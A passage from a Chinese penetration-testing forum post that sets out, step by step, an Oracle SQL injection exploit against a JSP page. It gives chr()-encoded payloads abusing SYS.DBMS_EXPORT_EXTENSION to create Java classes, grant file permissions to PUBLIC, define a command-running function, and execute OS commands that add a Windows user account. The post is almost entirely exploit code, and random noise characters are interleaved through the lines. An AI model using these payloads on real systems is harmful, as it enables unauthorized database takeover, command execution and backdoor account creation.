1 w9 b! o( h! Echr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||( Y& y( r4 B1 N9 }7 G4 D
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||+ I4 }  U+ R/ b5 `" W
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||) c$ J1 R- W) o: Z2 t2 {3 f- m* a; b1 @
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
6 o- F  E( q/ T1 D0 ^: K. j  Hchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
* N4 B) D& f9 `chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
4 f. s" f: }9 ^5 j1 e& r5 u/ fchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||4 R) `* }( f+ H6 H. g# M
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||; u% z0 {" [9 H$ P. F6 I& D4 T
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
; Y/ A! D1 E3 Z( ~; U  |) b$ Ychr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
# E0 F" K; |4 n% Achr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||( X. A0 \, @9 o: K
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||9 n. x9 z) L- z% u/ S
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
2 E; J$ v( ]0 \3 Xchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)- t- q$ s  s4 M% Q" d  S8 s- ]
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
  d; L* i0 m8 L3 e4 V) w1 E! t3 g& @8 z4 z; i9 p
)
$ z2 ?" f7 i. q. M8 _( m
+ S) _$ w6 @# B  \" D------------------------------
& s- d: L; R' g( O" j, F( b* Q1 |
! O+ q% d3 D3 X+ M" {3 ~+ U' o# e# Q2.赋Java权限' ^/ x/ P1 G2 B" I
/xxx.jsp?id=1 and chr(49)<>chr(50)||(1 |# b: G$ C# k4 w3 g" {9 l

# ?& Q. f3 v/ O$ f/ Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
4 {! s" k2 _8 m/ Mchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 F5 g0 l3 T- _1 F. zchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||4 W& [% }$ f+ d0 o) e4 v' Z
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||" Z8 F, {  p( L- f1 H
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
5 x* O9 n1 W" F( |% vchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
# s3 g) t# c3 w; S; mchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
* u' }; _) @+ Q& p9 [7 lchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
$ t) {5 `7 n; I; b) U+ n3 p- ^chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
9 M: L3 Q, L3 M& B) y- X3 u3 Jchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
* }. P4 M1 K7 J8 M" ?,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 G$ [1 L3 T" f' _  P

( K2 B) I3 X; }( ?4 o0 h7 L, ?)
+ v! |" O9 s6 H& R; e, K( T2 a5 G& B" i8 V5 s: Z8 b! g% I3 ^
readfile函数的ascii版就不写了,见谅。0 J% W& s) u! u3 e$ @8 S

* S) _2 U) f# N4 s7 I3.创建函数  m1 M$ A' M! V# m
( L/ C5 J0 S  t7 f0 {% J* I* t- {& [5 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 g$ S- P! O4 V, K' mchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||( r+ K% O4 L0 N9 [- i
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||' z+ e# x8 W/ N: K0 N- d
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||# F( w1 k& v; Q9 h8 h) U, d
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||" p) ^7 g; Q) Q7 {5 \
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||% j  l. M5 ^' d% J2 {) S3 b4 b
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||+ d- a5 F4 X& h6 o. Z7 {- j! S
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
9 s1 h# q* ?/ d" T% Kchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
% L! @; w3 c  R' [$ T4 _chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
- }) P/ d: O4 E: Q* _5 {. Schr(59)||chr(45)||chr(45)3 U6 N2 K: ?5 O+ S& d1 V6 {7 ^/ [2 I
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual/ t' Q. h0 W  |+ i3 `5 G- a
7 m% V  q3 q7 P$ Q1 w8 F/ Z$ g3 M
( |& S+ X) S( }. N; g3 l# s

, E8 d. [; ^3 c' @4.赋public执行函数的权限
# C, R$ |- m3 |% U
6 s# F6 A, u2 O$ d9 ?; F- k+ E8 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
: ~5 s, Y4 `' k: K. achr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
# R" v/ z4 z1 ?9 o1 gchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
+ c* U* m3 ], I: c7 p3 Wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 {/ Y2 T- M) R: W8 b& q
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||" G' t) n. u2 O$ x
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||% I# _/ M; o6 A4 \. r9 D4 ~
chr(59)||chr(45)||chr(45)" ~. B# w: I8 t; f3 e. J& a2 d
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
: B: u$ p3 \1 J* s) @+ P
- C7 I" \. A! Q% Y% d7 _0 a$ ^1 a4 y' L" v8 g. f
" D2 B3 i% H7 J4 t
5.执行命令:( F2 E; P7 Q9 _  F# `
: j- F, a1 w' m' d$ Z
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
  U0 o8 {  Y1 R2 {( J0 D7 i3 _% U5 d: Nselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
$ s; n' R; X4 Y0 u  A3 {)
, Z, H& L  G9 ?5 o! g% h
/ V' q: S; O% y! t! d$ p8 C9 G3 S/ I5 \+ j- q  A
/xxx.jsp?id=1 and chr(49)<>chr(32)||(8 h5 z9 w  I! t8 f, p: `' b
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual5 H$ n9 W! A4 }; A0 R1 @$ J9 {+ A! i- ~
)
3 ~, m. y+ d+ @- j5 p' W




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2